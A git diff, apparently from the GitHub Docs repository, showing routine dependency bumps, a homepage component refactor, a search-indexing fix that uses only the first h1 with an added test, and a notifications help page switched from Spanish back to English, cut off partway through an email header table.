"sha512-ks3WCzsiZaOPJl/oMsDjaf0TRiSv7ctNgs0FqRr2nARsovz6AWWy4oLElwcquGSz692DzgZQrCLScPNs5YlC4g==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.4.2.tgz", + "integrity": "sha512-0QMy/zPovLfUPyHuOuuU4E+kGACXXE84nRnq6lBVI9GJg5DCBiA97SATi+ZP8CpiJwEQy1oCPjRBf8AnLjN+Ag==", "devOptional": true, "requires": { "@types/node": "*", @@ -32326,9 +32466,9 @@ }, "dependencies": { "acorn": { - "version": "8.5.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.5.0.tgz", - "integrity": "sha512-yXbYeFy+jUuYd3/CDcg2NkIYE991XYX/bje7LmjJigUciaeO1JR4XxXgCIV1/Zc/dRuFEyw1L0pbA+qynJkW5Q==", + "version": "8.6.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.6.0.tgz", + "integrity": "sha512-U1riIR+lBSNi3IbxtaHOIKdH8sLFv3NYfNv8sg7ZsNhcfl4HF2++BfqqrNAxoCLQW1iiylOj76ecnaUxz+z9yw==", "dev": true } } @@ -32555,9 +32695,9 @@ "dev": true }, "linkinator": { - "version": "2.16.1", - "resolved": "https://registry.npmjs.org/linkinator/-/linkinator-2.16.1.tgz", - "integrity": "sha512-HFDClxstUOWeIocjndphgurjXhoHwEPhC7hLwQvtVX7Vm7gRbyL8Kf+0I7cI+e5YYrG2Nuyc9AoQZekHuHdCQw==", + "version": "2.16.2", + "resolved": "https://registry.npmjs.org/linkinator/-/linkinator-2.16.2.tgz", + "integrity": "sha512-5tHSz6gMN0z25+Pk4lZnU0Edr1lJLNuk+MCfQa2NxF4f1rfKS8Lo3JEwxTciVzwVHHdBpydAgmWYOgylNlwyDQ==", "dev": true, "requires": { "chalk": "^4.0.0", @@ -32960,12 +33100,12 @@ "dev": true }, "makeerror": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.11.tgz", - "integrity": "sha1-4BpckQnyr3lmDk6LlYd5AYT1qWw=", + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz", + "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==", "dev": true, "requires": { - "tmpl": "1.0.x" + "tmpl": "1.0.5" } }, "map-obj": { @@ -35731,18 +35871,18 @@ "optional": true }, "prettier": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.4.1.tgz", - "integrity": "sha512-9fbDAXSBcc6Bs1mZrDYb3XKzDLm4EXXL9sC1LqKP5rZkT6KRr/rf9amVUcODVXgguK/isJz0d0hP72WeaKWsvA==", + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.5.0.tgz", + "integrity": "sha512-FM/zAKgWTxj40rH03VxzIPdXmj39SwSjwG0heUcNFwI+EMZJnY93yAiKXM3dObIKAM5TA88werc8T/EwhB45eg==", "dev": true }, "pretty-format": { - "version": "27.3.1", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.3.1.tgz", - "integrity": "sha512-DR/c+pvFc52nLimLROYjnXPtolawm+uWDxr4FjuLDLUn+ktWnSN851KoHwHzzqq6rfCOjkzN8FLgDrSub6UDuA==", + "version": "27.4.2", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.4.2.tgz", + "integrity": "sha512-p0wNtJ9oLuvgOQDEIZ9zQjZffK7KtyR6Si0jnXULIDwrlNF8Cuir3AZP0hHv0jmKuNN/edOnbMjnzd4uTcmWiw==", "devOptional": true, "requires": { - "@jest/types": "^27.2.5", + "@jest/types": "^27.4.2", "ansi-regex": "^5.0.1", "ansi-styles": "^5.0.0", "react-is": "^17.0.1" @@ -39410,12 +39550,12 @@ } }, "walker": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.7.tgz", - "integrity": "sha1-L3+bj9ENZ3JisYqITijRlhjgKPs=", + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz", + "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==", "dev": true, "requires": { - "makeerror": "1.0.x" + "makeerror": "1.0.12" } }, "watchpack": { diff --git a/package.json b/package.json index ef7fbfd6cd..a3700dd13b 100644 --- a/package.json +++ b/package.json @@ -100,7 +100,7 @@ "@babel/core": "^7.16.0", "@babel/eslint-parser": "^7.16.3", "@babel/plugin-syntax-top-level-await": "^7.14.5", - "@babel/plugin-transform-runtime": "^7.16.0", + "@babel/plugin-transform-runtime": "^7.16.4", "@babel/preset-env": "^7.16.0", "@graphql-inspector/core": "^2.9.0", "@graphql-tools/load": "^7.4.1", @@ -113,13 +113,13 @@ "@types/react": "^17.0.34", "@types/react-dom": "^17.0.11", "@types/react-syntax-highlighter": "^13.5.2", - "@types/uuid": "^8.3.1", + "@types/uuid": "^8.3.3", "@typescript-eslint/eslint-plugin": "^4.33.0", "@typescript-eslint/parser": "^4.31.1", "async": "^3.2.2", "await-sleep": "0.0.1", "babel-loader": "^8.2.3", - "babel-plugin-styled-components": "^1.13.3", + "babel-plugin-styled-components": "^2.0.2", "babel-preset-env": "^1.7.0", "bottleneck": "^2.19.5", "chalk": "^4.1.2", @@ -148,10 +148,10 @@ "image-size": "^1.0.0", "japanese-characters": "^1.1.0", "javascript-stringify": "^2.1.0", - "jest": "^27.3.1", + "jest": "^27.4.3", "jest-github-actions-reporter": "^1.0.3", "jest-slow-test-reporter": "^1.0.0", - "linkinator": "^2.16.1", + "linkinator": "^2.16.2", "lint-staged": "^11.2.6", "make-promises-safe": "^5.1.0", "minimatch": "^3.0.4", @@ -163,7 +163,7 @@ "npm-merge-driver-install": "^2.0.1", "object-hash": "^2.2.0", "postcss": "^8.3.11", - "prettier": "^2.4.1", + "prettier": "^2.5.0", "replace": "^1.2.1", "rimraf": "^3.0.2", "robots-parser": "^2.3.0", diff --git a/pages/[versionId]/index.tsx b/pages/[versionId]/index.tsx index 209201d14a..7e27354506 100644 --- a/pages/[versionId]/index.tsx +++ b/pages/[versionId]/index.tsx @@ -1,4 +1,4 @@ -import LandingPage from '../index' +import HomePage from '../index' export { getServerSideProps } from '../index' -export default LandingPage +export default HomePage diff --git a/pages/index.tsx b/pages/index.tsx index 7ef3eaf0cf..e3b00cc927 100644 --- a/pages/index.tsx +++ b/pages/index.tsx @@ -1,24 +1,13 @@ import { GetServerSideProps } from 'next' -import { - MainContextT, - MainContext, - getMainContext, - useMainContext, - ProductT, - ProductGroupT, -} from 'components/context/MainContext' +import { MainContextT, MainContext, getMainContext } from 'components/context/MainContext' import React from 'react' import { DefaultLayout } from 'components/DefaultLayout' import { useTranslation } from 'components/hooks/useTranslation' -import { useVersion } from 'components/hooks/useVersion' -import { useRouter } from 'next/router' -import { OctocatHeader } from 'components/landing/OctocatHeader' import { ArticleList } from 'components/landing/ArticleList' -import { Search } from 'components/Search' -import { Link } from 'components/Link' -import * as Octicons from '@primer/octicons-react' +import { HomePageHero } from 'components/homepage/HomePageHero' +import { ProductSelections } from 'components/homepage/ProductSelections' type FeaturedLink = { href: string @@ -31,133 +20,29 @@ type Props = { popularLinks: Array gettingStartedLinks: Array } -export default function MainLanding({ mainContext, gettingStartedLinks, popularLinks }: Props) { + +export default function MainHomePage({ mainContext, gettingStartedLinks, popularLinks }: Props) { return ( - + ) } -type LandingPageProps = { +type HomePageProps = { popularLinks: Array gettingStartedLinks: Array } -function LandingPage(props: LandingPageProps) { - const router = useRouter() +function HomePage(props: HomePageProps) { const { gettingStartedLinks, popularLinks } = props - const { productGroups, isFPT } = useMainContext() - const { currentVersion } = useVersion() - const { t } = useTranslation(['homepage', 'search', 'toc']) - - function showProduct(product: ProductT) { - return isFPT || product.versions?.includes(currentVersion) || product.external - } - - function href(product: ProductT) { - return `${!product.external ? `/${router.locale}` : ''}${ - product.versions?.includes(currentVersion) && !isFPT - ? `/${currentVersion}/${product.id}` - : product.href - }` - } - - const groupIcon = { - height: '22px', - } - - function icon(group: ProductGroupT) { - if (group.icon) { - return ( -
- {group.name} -
- ) - } else if (group.octicon) { - const octicon: React.FunctionComponent = ( - Octicons as { [name: string]: React.FunctionComponent } - )[group.octicon] as React.FunctionComponent - - return ( -
- {React.createElement(octicon, groupIcon as React.Attributes, null)} -
- ) - } - } + const { t } = useTranslation(['toc']) return (
- {/* */} -
- {/* eslint-disable-next-line jsx-a11y/no-autofocus */} - - {({ SearchInput, SearchResults }) => { - return ( -
-
-
- -
-
-

{t('search:need_help')}

- {SearchInput} -
-
- -
{SearchResults}
-
- ) - }} - -
- - {/* */} -
-
-
- {productGroups.map((group) => { - return ( -
-
-
- {icon(group)} - -
-

{group.name}

-
-
- -
-
    - {group.children.map((product) => { - if (!showProduct(product)) { - return null - } - - return ( -
  • - - {product.name} - -
    • - ) - })} -
-
-
-
- ) - })} -
-
-
- + +
diff --git a/script/search/parse-page-sections-into-records.js b/script/search/parse-page-sections-into-records.js index da94072408..a802c864f7 100644 --- a/script/search/parse-page-sections-into-records.js +++ b/script/search/parse-page-sections-into-records.js @@ -9,7 +9,7 @@ const ignoredHeadingSlugs = ['in-this-article', 'further-reading', 'prerequisite export default function parsePageSectionsIntoRecords(page) { const { href, $, languageCode } = page - const title = $('h1').text().trim() + const title = $('h1').first().text().trim() const breadcrumbsArray = $('[data-search=breadcrumbs] nav.breadcrumbs a') .map((i, el) => { return $(el).text().trim().replace('/', '').replace(/\s+/g, ' ') diff --git a/stylesheets/images.scss b/stylesheets/images.scss index adfc988969..939810fa74 100644 --- a/stylesheets/images.scss +++ b/stylesheets/images.scss @@ -12,12 +12,8 @@ padding: 0; box-shadow: var(--color-shadow-medium); } - - // make sure images that contain emoji render at the expected size - img[src*="https://github.githubassets.com/images/icons/emoji"] - { - height: 20px; - width: 20px; + + img[src*="https://github.githubassets.com/images/icons/emoji"] { box-shadow: none; } } @@ -26,3 +22,10 @@ max-height: 32rem; padding: 0; } + +// make sure images that contain emoji render at the expected size +.markdown-body img[src*="https://github.githubassets.com/images/icons/emoji"] +{ + height: 20px; + width: 20px; +} diff --git a/tests/routing/release-notes.js b/tests/routing/release-notes.js index df16f9332d..eae8f2d939 100644 --- a/tests/routing/release-notes.js +++ b/tests/routing/release-notes.js @@ -1,5 +1,7 @@ -import { get, getDOM } from '../helpers/supertest.js' import { jest } from '@jest/globals' +import nock from 'nock' + +import { get, getDOM } from '../helpers/supertest.js' jest.useFakeTimers('legacy') @@ -11,6 +13,17 @@ describe('release notes', () => { // advance to call out that problem specifically rather than misleadingly // attributing it to the first test await get('/') + + nock('https://github.github.com') + .get( + '/help-docs-archived-enterprise-versions/2.19/en/enterprise-server@2.19/admin/release-notes' + ) + .reply(404) + nock('https://github.github.com') + .get('/help-docs-archived-enterprise-versions/2.19/redirects.json') + .reply(200, { + emp: 'ty', + }) }) it('redirects to the release notes on enterprise.github.com if none are present for this version here', async () => { diff --git a/tests/unit/page.js b/tests/unit/page.js index 717b4edf75..127c1ca2c2 100644 --- a/tests/unit/page.js +++ b/tests/unit/page.js @@ -566,15 +566,6 @@ describe('Page class', () => { }) }) - test('fixes translated frontmatter that includes verdadero', async () => { - const page = await Page.init({ - relativePath: 'article-with-mislocalized-frontmatter.md', - basePath: path.join(__dirname, '../fixtures'), - languageCode: 'ja', - }) - expect(page.mapTopic).toBe(true) - }) - describe('page.versions frontmatter', () => { // Docs Engineering issue: 972 test.skip('pages that apply to older enterprise versions', async () => { diff --git a/tests/unit/search/fixtures/page-with-multiple-h1s.html b/tests/unit/search/fixtures/page-with-multiple-h1s.html new file mode 100644 index 0000000000..2e074f243e --- /dev/null +++ b/tests/unit/search/fixtures/page-with-multiple-h1s.html @@ -0,0 +1,18 @@ + + +

I am the page title

+ +
+

This is an introduction to the article.

+
+ +
+

A heading 1 inside the body

+

This won't be ignored.

+
diff --git a/tests/unit/search/parse-page-sections-into-records.js b/tests/unit/search/parse-page-sections-into-records.js index 5f4f8026a9..13141aa2d2 100644 --- a/tests/unit/search/parse-page-sections-into-records.js +++ b/tests/unit/search/parse-page-sections-into-records.js @@ -18,6 +18,10 @@ const fixtures = { path.join(__dirname, 'fixtures/page-without-body.html'), 'utf8' ), + pageMultipleH1s: await fs.readFile( + path.join(__dirname, 'fixtures/page-with-multiple-h1s.html'), + 'utf8' + ), } describe('search parsePageSectionsIntoRecords module', () => { @@ -78,4 +82,12 @@ describe('search parsePageSectionsIntoRecords module', () => { expect(record).toEqual(expected) }) + + test('only picks up the first h1 for the title', () => { + const html = fixtures.pageMultipleH1s + const $ = cheerio.load(html) + const href = '/example/href' + const record = parsePageSectionsIntoRecords({ href, $, languageCode: 'en' }) + expect(record.title).toEqual('I am the page title') + }) }) diff --git a/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md b/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md index d6f2b211b0..0075ffaf32 100644 --- a/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md +++ b/translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md @@ -1,6 +1,6 @@ --- -title: Configurar notificaciones -intro: 'Elige el tipo de actividad en {% data variables.product.prodname_dotcom %} para el que deseas recibir notificaciones y cómo deseas que se entreguen estas actualizaciones.' +title: Configuring notifications +intro: 'Choose the type of activity on {% data variables.product.prodname_dotcom %} that you want to receive notifications for and how you want these updates delivered.' redirect_from: - /articles/about-web-notifications - /format-of-notification-emails/ @@ -23,82 +23,81 @@ versions: topics: - Notifications --- - {% ifversion ghes %} {% data reusables.mobile.ghes-release-phase %} {% endif %} -## Opciones de entrega de notificaciones +## Notification delivery options -Puedes recibir notificaciones de actividad en {% data variables.product.product_location %} en las siguientes ubicaciones. +You can receive notifications for activity on {% data variables.product.product_location %} in the following locations. - - La bandeja de notificaciones en la interface web de {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} - - La bandeja de notificaciones en {% data variables.product.prodname_mobile %}, la cual sesincroniza con aquella de {% data variables.product.product_location %}{% endif %} - - Un cliente de correo electrónico que utilice una dirección de correo electrónico verificada y que también sincronice la bandeja de notificaciones en {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} y {% data variables.product.prodname_mobile %}{% endif %} + - The notifications inbox in the {% data variables.product.product_location %} web interface{% ifversion fpt or ghes or ghec %} + - The notifications inbox on {% data variables.product.prodname_mobile %}, which syncs with the inbox on {% data variables.product.product_location %}{% endif %} + - An email client that uses a verified email address, which can also sync with the notifications inbox on {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} and {% data variables.product.prodname_mobile %}{% endif %} {% ifversion fpt or ghes or ghec %} -{% data reusables.notifications-v2.notifications-inbox-required-setting %} Para obtener más información, consulta la sección "[Escoger tu configuración de notificaciones](#choosing-your-notification-settings)". +{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see "[Choosing your notification settings](#choosing-your-notification-settings)." {% endif %} {% data reusables.notifications.shared_state %} -### Beneficios de la bandeja de entrada de notificaciones +### Benefits of the notifications inbox -La bandeja de entrada de notificaciones en {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} y en {% data variables.product.prodname_mobile %}{% endif %} incluye opciones de clasificación designadas específicamente para tu flujo de notificaciones de {% data variables.product.prodname_dotcom %}, incluyendo opciones para: - - Clasificar varias notificaciones al mismo tiempo. - - Marcar las notificaciones como **Completadas** y eliminarlas de tu bandeja de entrada. Para ver todas tus notificaciones marcadas como **Completadas**, utiliza el query `is:done`. - - Guardar una notificación para revisarla más tarde. Las notificaciones se resaltan en tu bandeja de entrada y se mantienen indefinidamente. Para ver todas tus notificaciones guardadas, utiliza el query `is:saved`. - - Darse de baja y eliminar una notificación de tu bandeja de entrada. - - Prever el informe de problemas, solicitud de extracción o debate de equipo de donde se origina la notificación en {% data variables.product.product_location %} desde dentro de la bandeja de notificaciones. - - Ver una de las últimas razones por las cuales estás recibiendo una notificación desde tu bandeja de entrada con la etiqueta `razones`. - - Crear filtros personalizados para enfocarte en diferentes notificaciones cuando así lo quieras. - - Agrupar notificaciones por repositorio o fecha en tu bandeja de entrada para obtener un resumen rápido con menos cambios de contexto +The notifications inbox on {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} and {% data variables.product.prodname_mobile %}{% endif %} includes triaging options designed specifically for your {% data variables.product.prodname_dotcom %} notifications flow, including options to: + - Triage multiple notifications at once. + - Mark completed notifications as **Done** and remove them from your inbox. To view all of your notifications marked as **Done**, use the `is:done` query. + - Save a notification to review later. Saved notifications are flagged in your inbox and kept indefinitely. To view all of your saved notifications, use the `is:saved` query. + - Unsubscribe and remove a notification from your inbox. + - Preview the issue, pull request, or team discussion where the notification originates on {% data variables.product.product_location %} from within the notifications inbox. + - See one of the latest reasons you're receiving a notification from your inbox with a `reasons` label. + - Create custom filters to focus on different notifications when you want. + - Group notifications in your inbox by repository or date to get a quick overview with less context switching {% ifversion fpt or ghes or ghec %} -Adicionalmente, puedes recibir las notificaciones de clasificación en tu dispositivo móvil con {% data variables.product.prodname_mobile %}. Para obtener más información, consulta la sección "[Administrar tu configuración de notificaciones con GitHub para móviles](#managing-your-notification-settings-with-github-for-mobile)" o "[GitHub para móviles](/github/getting-started-with-github/github-for-mobile)". +In addition, you can receive and triage notifications on your mobile device with {% data variables.product.prodname_mobile %}. For more information, see "[Managing your notification settings with GitHub for mobile](#managing-your-notification-settings-with-github-for-mobile)" or "[GitHub for mobile](/github/getting-started-with-github/github-for-mobile)." {% endif %} -### Beneficios de utilizar un cliente de correo electrónico para las notificaciones +### Benefits of using an email client for notifications -Un beneficio de utilizar un cliente de correo electrónico es que todas tus notificaciones se pueden mantener por tiempo indefinido dependiendo de la capacidad de almacenamiento de éste. Las notificaciones de tu bandeja de entrada solo se mantienen por 5 meses en {% data variables.product.prodname_dotcom %} a menos de que las hayas marcado como **Guardadas**. Las notificaciones **Guardadas** se mantendrán por tiempo indefinido. Para obtener más información acerca de la política de retención de tu bandeja de entrada, consulta la sección "[Acerca de las notificaciones](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notification-retention-policy)". +One benefit of using an email client is that all of your notifications can be kept indefinitely depending on your email client's storage capacity. Your inbox notifications are only kept for 5 months on {% data variables.product.prodname_dotcom %} unless you've marked them as **Saved**. **Saved** notifications are kept indefinitely. For more information about your inbox's retention policy, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notification-retention-policy)." -Enviar notificaciones a tu cliente de correo electrónico también te permite personalizar tu bandeja de entrada de acuerdo con la configuración del mismo, lo cual puede incluir etiquetas personalizadas o con códigos de color. +Sending notifications to your email client also allows you to customize your inbox according to your email client's settings, which can include custom or color-coded labels. -Las notificaciones por correo electrónico también permiten la flexibilidad con los tipos de notificaciones que recibes y te permiten escoger diferentes direcciones para las actualizaciones. Por ejemplo, puedes enviar ciertas notificaciones para un repositorio a una dirección de correo electrónico personal verificada. Para obtener más información acerca de las opciones de personalización para tu correo electrónico, consulta la secicón "[Personalizar tus notificaciones por correo electrónico](#customizing-your-email-notifications)". +Email notifications also allow flexibility with the types of notifications you receive and allow you to choose different email addresses for updates. For example, you can send certain notifications for a repository to a verified personal email address. For more information, about your email customization options, see "[Customizing your email notifications](#customizing-your-email-notifications)." -## Acerca de participar y seguir de cerca las notificaciones +## About participating and watching notifications -Cuando observas un repositorio, te suscribes a las actualizaciones de la actividad en el mismo. De forma similar, cuando observas las discusiones específicas de un equipo, te suscribes a todas las actualizaciones de la conversación en la página de ese equipo. Para obtener más información, consulta [Acerca de los debates del equipo](/organizations/collaborating-with-your-team/about-team-discussions)". +When you watch a repository, you're subscribing to updates for activity in that repository. Similarly, when you watch a specific team's discussions, you're subscribing to all conversation updates on that team's page. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)." -Para ver los repositorios que estás observando, dirígete a tu [página de observados](https://github.com/watching). Para obtener más información, consulta la sección "[Administrar suscricpiones y notificaciones en GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)". +To see repositories that you're watching, go to your [watching page](https://github.com/watching). For more information, see "[Managing subscriptions and notifications on GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)." {% ifversion ghae or ghes < 3.1 %} -### Configurar notificaciones +### Configuring notifications {% endif %} -Puedes configurar las notificaciones de un repositorio en la página del mismo o en tu página de observados.{% ifversion ghes < 3.1 %} puedes elegir solo recibir notificaciones para los lanzamientos de un repositorio o ignorar todas las notificaciones de este.{% endif %} +You can configure notifications for a repository on the repository page, or on your watching page.{% ifversion ghes < 3.1 %} You can choose to only receive notifications for releases in a repository, or ignore all notifications for a repository.{% endif %} {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -### Acerca de las notificaciones personalizadas -Puedes personalizar las notificaciones de un repositorio. Por ejemplo, puedes elegir que solo se te notifique cuando suceden las actualizaciones a uno o más eventos ({% data reusables.notifications-v2.custom-notification-types %}) dentro de un repositorio o ignorar todas las notificaciones de este. -{% endif %} Para obtener más información, consulta la sección "[Configurar tus ajustes de observación para un repositorio individual](#configuring-your-watch-settings-for-an-individual-repository)" a continuación. +### About custom notifications +You can customize notifications for a repository. For example, you can choose to only be notified when updates to one or more types of events ({% data reusables.notifications-v2.custom-notification-types %}) happen within a repository, or ignore all notifications for a repository. +{% endif %} For more information, see "[Configuring your watch settings for an individual repository](#configuring-your-watch-settings-for-an-individual-repository)" below. -### Participar en conversaciones -Siempre que comentes en una conversación, o cuando alguien @menciona tu nombre de usuario, estarás _participando_ en una conversación. Predeterminadamente, estás suscrito automáticamente a una conversación cuando participas en ella. Puedes desuscribirte manualmente de una conversación en la que hayas participado si das clic en **Desuscribir** en el informe de problemas o solicitud de extracción, o a través de la opción de **Desuscribir** en la bandeja de notificaciones. +### Participating in conversations +Anytime you comment in a conversation or when someone @mentions your username, you are _participating_ in a conversation. By default, you are automatically subscribed to a conversation when you participate in it. You can unsubscribe from a conversation you've participated in manually by clicking **Unsubscribe** on the issue or pull request or through the **Unsubscribe** option in the notifications inbox. -Para las conversaciones que observas o en las cuales participas, puedes elegir si quieres recibir notificaciones por correo electrónico o a través de la bandeja de notificaciones en {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} y en {% data variables.product.prodname_mobile %}{% endif %}. +For conversations you're watching or participating in, you can choose whether you want to receive notifications by email or through the notifications inbox on {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} and {% data variables.product.prodname_mobile %}{% endif %}. -![Opciones de notificación para observar y participar](/assets/images/help/notifications-v2/participating-and-watching-options.png) +![Participating and watching notifications options](/assets/images/help/notifications-v2/participating-and-watching-options.png) -Por ejemplo: - - Si no quieres que se te envíen notificaciones a tu correo electrónico, deselecciona **email** de la opción en participar y seguir de cerca las notificaciones. - - Si quieres recibir notificaciones por correo electrónico cuando hayas participado en una conversación, entonces puedes seleccionar **email** debajo de "Participando". +For example: + - If you don't want notifications to be sent to your email, unselect **email** for participating and watching notifications. + - If you want to receive notifications by email when you've participated in a conversation, then you can select **email** under "Participating". -Si no quieres habilitar las notificaciones de observar o participar para web{% ifversion fpt or ghes or ghec %} y para dispositivos móviles{% endif %}, entonces tu bandeja de notificaciones no mostrará actualizaciones. +If you do not enable watching or participating notifications for web{% ifversion fpt or ghes or ghec %} and mobile{% endif %}, then your notifications inbox will not have any updates. -## Personalizar tus notificaciones de correo electrónico +## Customizing your email notifications -Después de activar las notificaciones por correo electrónico, {% data variables.product.product_location %} te enviará notificaciones como correos electrónicos con varias partes que contienen copias del contenido tanto en HTML como en texto simple. El contenido de las notificaciones por correo electrónico incluye cualquier Markdown, @menciones, emojis, vínculos hash, etc., que aparecen en el contenido original en {% data variables.product.product_location %}. Si solo quieres ver el texto en el correo electrónico, puedes configurar tu cliente de correo electrónico para que muestre solo la copia de texto simple. +After enabling email notifications, {% data variables.product.product_location %} will send notifications to you as multipart emails that contain both HTML and plain text copies of the content. Email notification content includes any Markdown, @mentions, emojis, hash-links, and more, that appear in the original content on {% data variables.product.product_location %}. If you only want to see the text in the email, you can configure your email client to display the plain text copy only. {% data reusables.notifications.outbound_email_tip %} @@ -106,151 +105,162 @@ Después de activar las notificaciones por correo electrónico, {% data variable {% ifversion fpt or ghec %} -Si usas Gmail, puedes hacer clic en un botón al lado del correo electrónico para notificaciones para visitar la propuesta o la solicitud de extracción original que generó la notificación. +If you're using Gmail, you can click a button beside the notification email to visit the original issue or pull request that generated the notification. -![Botones en Gmail](/assets/images/help/notifications/gmail-buttons.png) +![Buttons in Gmail](/assets/images/help/notifications/gmail-buttons.png) {% endif %} -Escoge una dirección de correo electrónico predeterminada en donde quieras enviar actualizaciones para las conversaciones que observes o en las cuales participes. También puedes especificar la actividad de {% data variables.product.product_location %} sobre la cual quieras recibir actualizaciones para utilizar tu dirección de correo electrónico predeterminada. Por ejemplo, escoge si quieres recibir actualizaciones en tu correo electrónico predeterminado sobre: - - Comentarios sobre informes de problemas y solicitudes de extracción. - - Revisiones de solicitudes de extracción. - - Subidas de solicitudes de extracción. - - Tus propias actualizaciones, tales como cuando abres, comentas o cierras un informe de problemas o solicitud de extracción. +Choose a default email address where you want to send updates for conversations you're participating in or watching. You can also specify which activity on {% data variables.product.product_location %} you want to receive updates for using your default email address. For example, choose whether you want updates to your default email from: + - Comments on issues and pull requests. + - Pull request reviews. + - Pull request pushes. + - Your own updates, such as when you open, comment on, or close an issue or pull request. -Dependiendo de la organización a la que pertenezca el repositorio, también puedes enviar notificaciones a direcciones de correo electrónico distintas. Tu organización podría requerir que dicha dirección se verifique en un dominio específico. Para obtener más información, consulta la sección "[Escoger a dónde se envían las notificaciones de tu organización por correo electrónico](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-where-your-organizations-email-notifications-are-sent)". +Depending on the organization that owns the repository, you can also send notifications to different email addresses. Your organization may require the email address to be verified for a specific domain. For more information, see "[Choosing where your organization’s email notifications are sent](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-where-your-organizations-email-notifications-are-sent)." -También puedes enviar las notificaciones para un repositorio específico a una dirección decorreo electrónico. Para obtener más información, consulta la sección "[Acerca de las notificaciones por correo electrónico para las cargas a tu repositorio](/github/administering-a-repository/about-email-notifications-for-pushes-to-your-repository)". +You can also send notifications for a specific repository to an email address. For more information, see "[About email notifications for pushes to your repository](/github/administering-a-repository/about-email-notifications-for-pushes-to-your-repository)." {% data reusables.notifications-v2.email-notification-caveats %} -## Filtrar las notificaciones por correo electrónico +## Filtering email notifications -Cada notificación por correo electrónico que envía {% data variables.product.product_location %} contiene información de encabezado. La información del encabezado en cada correo electrónico es consistente, para que puedas usarla en tu cliente de correo electrónico para filtrar o enviar todas las notificaciones de {% data variables.product.prodname_dotcom %} o ciertos tipos de notificaciones de {% data variables.product.prodname_dotcom %}. +Each email notification that {% data variables.product.product_location %} sends contains header information. The header information in every email is consistent, so you can use it in your email client to filter or forward all {% data variables.product.prodname_dotcom %} notifications, or certain types of {% data variables.product.prodname_dotcom %} notifications. -Si crees que estás recibiendo notificaciones que no te pertenecen, examina los encabezados `X-GitHub-Recipient` y `X-GitHub-Recipient-Address`. Estos encabezados te muestran quién es el destinatario previsto. Dependiendo de tu configuración de correo electrónico, podrías recibir notificaciones destinadas para otro usuario. +If you believe you're receiving notifications that don't belong to you, examine the `X-GitHub-Recipient` and `X-GitHub-Recipient-Address` headers. These headers show who the intended recipient is. Depending on your email setup, you may receive notifications intended for another user. -Las notificaciones por correo electrónico de {% data variables.product.product_location %} contienen la siguiente información de encabezado: +Email notifications from {% data variables.product.product_location %} contain the following header information: -| Encabezado | Información | -| --------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| dirección `De` | Esta dirección siempre será {% ifversion fpt or ghec %}'`notifications@github.com`'{% else %}'la dirección de correo electrónico sin respuesta configurada por el administrador de tu sitio'{% endif %}. | -| campo `Para` | Este campo se conecta directamente al hilo.{% ifversion not ghae %} Si respondes al correo electrónico, agregarás un comentario nuevo a la conversación.{% endif %} -| dirección `Cc` | {% data variables.product.product_name %} te enviará `Cc` si estás suscripto a una conversación. La segunda dirección de correo electrónico `Cc` coincide con el motivo de la notificación. El sufijo para estos motivos de notificación es {% data variables.notifications.cc_address %}. Los posibles motivos de notificación son:
  • `assign`: Te asignaron a una propuesta o solicitud de extracción.
  • `author`: Creaste una propuesta o solicitud de extracción.
  • `ci_activity`: Se completó uya ejecución de flujo de trabajo de {% data variables.product.prodname_actions %} que activaste.
  • `comment`: Comentaste una propuesta o solicitud de extracción.
  • `manual`: Hubo una actualización de una propuesta o solicitud de extracción a la que te suscribiste de forma manual.
  • `mention`: Te mencionaron en una propuesta o solicitud de extracción.
  • `push`: Alguien confirmó una solicitud de extracción a la que estás suscripto.
  • `review_requested`: Te solicitaron a tí o a un equipo del que eres miembro revisar una solicitud de extracción.
    • {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
  • `security_alert`: {% data variables.product.prodname_dotcom %} detectó una vulnerabilidad en un repositorio para el que recibes alertas de seguridad.
    • {% endif %}
  • `state_change`: Se cerró o se abrió una propuesta o solicitud de extracción a la que estás suscripto.
  • `subscribed`: Hubo una actualización en un repositorio que estás mirando.
